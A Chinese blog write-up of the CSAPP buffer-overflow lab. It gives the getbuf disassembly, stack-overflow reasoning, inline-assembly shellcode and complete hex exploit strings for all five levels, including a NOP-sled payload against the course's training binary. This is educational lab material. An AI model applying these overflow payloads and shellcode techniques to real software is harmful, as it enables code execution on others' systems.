且听疯吟

【CSAPP】 lab3

2022-11-20

CSAPP lab3 bufboomb

本次实验的projectbuflab,这个lab比上次lab2有意思多了,上次主要是读汇编代码太恶心了点,许多太难理解了。这次的lab主要为详细描述缓冲区溢出的shellcode编写,每个小的case非常有意思,花了差不多大概四天的时间,利用每天晚上的时间,终于把五个case全部通过,通过这5case基本熟悉了shellcode的编写和缓冲区溢出的攻击原理,本质是利用堆栈模型的漏洞,利用函数返回值的跳转来进行不同的跳转。

  • 首先我们需要了解程序的调用过程和基本的汇编命令的指令的原理:
  1. call 指令的执行原理:Call address,将下一条指令的地址入栈,然后跳转到address对应的指令。
    push [next]
    jmp address
  2. ret指令的执行原理,ret将栈顶的数据出栈送入到eip寄存器,然后进行跳转。
    pop %eip,
    jmp
  3. 堆栈中procedure的调用的基本过程,将被调用的函数的参数从右至左依次入栈;将下一条指令入栈,跳转到函数进行执行;进入到被执行的函数时,首先会将当前的ebp入栈。
    1
    搞清楚以上三点的信息后,对这5case就能非常熟悉和了解了。

题目

关于getbuf函数的原型:

/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}

我们可以看到getbuf函数中栈上的申请的字符串的长度为32,我们缓冲区的溢出的原理也是对buf的空间进行连续的填充,直到将getbuf函数的返回指令的地址用我们自定义的地址进行覆盖,从而执行完getbuf函数后,在返回时将会跳转到我们所需要的地址即可。我们同时仔细分析一下getbuf函数的汇编代码如下:

080491f4 <getbuf>:
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret

从汇编代码中可以知道buff的偏移地址第(0x28 + 8)存储的为函数返回地址,所以我们只需要将offset = (0x28 + 8)的空间进行自定义填充即可,以下所有的题目基本上都类似的原理。

1. Level 0: Candle

  • 题目非常简单,只是要求能够正确执行函数smoke即可,我们只需要将smoke函数的地址写入getbuf的返回地址即可,我们只需要将08048c18写入返回地址即可。
    1
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08

2. Level 1: Sparkler

  • 题目非常简单,只是要求能够正确执行函数fizz即可,我们只需要将fizz函数的地址写入getbuf的返回地址即可,我们只需要将08048c18写入返回地址即可,与level1不一样的是还需要把参数val参数传入,并且此时参数的值为cookie的值,我们知道参数的偏移地址offset = (0x28 + 12),我们只需要在此偏移处填入cookie的值即可。
    2
    31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 42 8c 04 08 08 d1 08 04 00

3.Level 2: Firecracker

  • 这个稍微复杂点,只是要求能够正确执行函数bang,并且要求global_value的值与cookie的值相等,这就要求我们不仅返回执行bang函数,还需要对global_value的值进行更改。此题需要在栈上写入指令,并且执行栈上的指令修改全局变量的值,执行完成后跳转到bang函数即可。
  • 我们通过C语言写入汇编代码,然后进行编译翻译成机器指令即可,再将填入到栈中即可,需要执行的指令如下:
    void test(){
    __asm__("mov $0x6830c384, %eax"); // eax = cookie
    __asm__("mov %eax,0x804d100"); // global_value = cookie
    __asm__("push $0x08048c9d"); // set bang return address
    __asm__("ret");
    }
    3
  • 本次即需要两次跳转,第一次跳转到栈上的指令起始地址0x55682fb8,设置全局变量;执行完成指令后进行第二次跳转到bang函数的入口地址0x08048c9d,最后的结果为:
    b8 84 c3 30 68 a3 00 d1 04 08 68 9d 8c 04 08 c3 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 b8 2f 68 55

4. Level 3: Dynamite

  • 这个就比较复杂,需要改变test函数的执行逻辑,这就要求我们不仅返回执行bang函数,还需要对global_value的值进行更改,并且保证test函数最终能够正常运行。test函数原本逻辑如下所示:
    void test()
    {
    int val;
    /* Put canary on stack to detect possible corruption */
    volatile int local = uniqueval();

    val = getbuf();

    /* Check for corrupted stack */
    if (local != uniqueval()) {
    printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie) {
    printf("Boom!: getbuf returned 0x%x\n", val);
    validate(3);
    } else {
    printf("Dud: getbuf returned 0x%x\n", val);
    }
    }
    如果按照正常逻辑,getbuf的返回值为1,而本题要求val == cookie,这就要求返回值为cookie,我们通过修改getbuf的返回值为cookie即可。我们仔细阅读汇编代码如下:
    8048db9:       e8 36 04 00 00          call   80491f4 <getbuf>
    8048dbe: 89 c3 mov %eax,%ebx
    8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
    函数的返回值实际存放在%eax寄存器中,我们只需要修改%eax寄存器的值为cookie即可。本题还有比较关键的一点,我们在进行写缓冲区时把test函数的%ebp寄存器破坏掉了,我们返回前还需要恢复%ebp寄存器即可,我们通过gdb调试可以知道%ebp寄存器的地址为0X55683010。恢复的地址和修改寄存器的代码如下:
    void test(){
    __asm__("mov $0x6830c384, %eax"); // eax = cookie
    __asm__("mov $0X55683010, %ebp"); // resume ebp register
    __asm__("push $0x08048dbe"); // set return address
    __asm__("ret");
    }
    我们通过上述编译后,将代码写入到栈上即可,并同时将getbuf函数的返回地址设置为上述指令的起始地址即可。最终的buffer为:
    b8 84 c3 30 68 68 de 8d 04 08 c3 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 b8 2f 68 55

5. Level 4: Nitroglycerin

  • 本题与第4题相似,但是比较复杂的处理在于栈的地址为动态变换的,此时我们就不可能像之前处理那样,栈的返回地址直接写为固定,此时我们需要用到nop sleds。这个所谓的难点也并不复杂,表示我们可以将机器指令全部设置为nop,在nop之后紧挨着执行我们的修改指令,因此我们只需要保证跳转指令一定能够跳转到nop指令段中即可,题目中所谓的随机栈地址的范围变化为[-240,240]之间进行变动,我们只需要设定某个值保证跳转一定能够跳转到nop指令即可。
  • 此处我们将512个字节的内容全部设置为nop,只要保证指令一定能够跳转nop区间即可,因为nop执行结束后紧挨着即为我们需要执行的指令。
  • 我们同时还需要恢复ebp寄存器,我们仔细观察ebp寄存器实际为esp地址偏移0x28即可。因为地址从高往低增长,所以$ebp = $esp + 28,我们可以通过汇编代码得知。
    08048e26 <testn>:
    8048e26: 55 push %ebp
    8048e27: 89 e5 mov %esp,%ebp
    8048e29: 53 push %ebx
    8048e2a: 83 ec 24 sub $0x24,%esp
    8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
    8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
    8048e35: e8 d2 03 00 00 call 804920c <getbufn>
    void test(){
    __asm__("mov %esp,%eax"); // resume ebp register
    __asm__("add $0x28,%eax");
    __asm__("mov %eax,%ebp");
    __asm__("mov $0x6830c384, %eax"); // eax = cookie
    __asm__("push $0x8048e3a"); // set return address
    __asm__("ret");
    }
    我们通过上述编译后,将代码写入到栈上即可,并同时将getbuf函数的返回地址设置为0x55682eb8。最终的buffer为:
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90

    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90

    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90

    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90

    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90

    90 90 90 90 90 90 89 e0 83 c0
    28 89 c5 b8 84 c3 30 68 68 3a
    8e 04 08 c3 b8 2e 68 55

总结

总的来说,lab3的代码比lab2有趣多了,非常考验逻辑思维能力,通过学习对机器指令的执行过程有了非常熟悉的了解,也对缓冲区攻击的基本原理有了深刻的理解,当然实际的攻击过程远远比这复杂的多。计算机技术需要学习的技巧太多了。

欢迎关注和打赏,感谢支持!

扫描二维码,分享此文章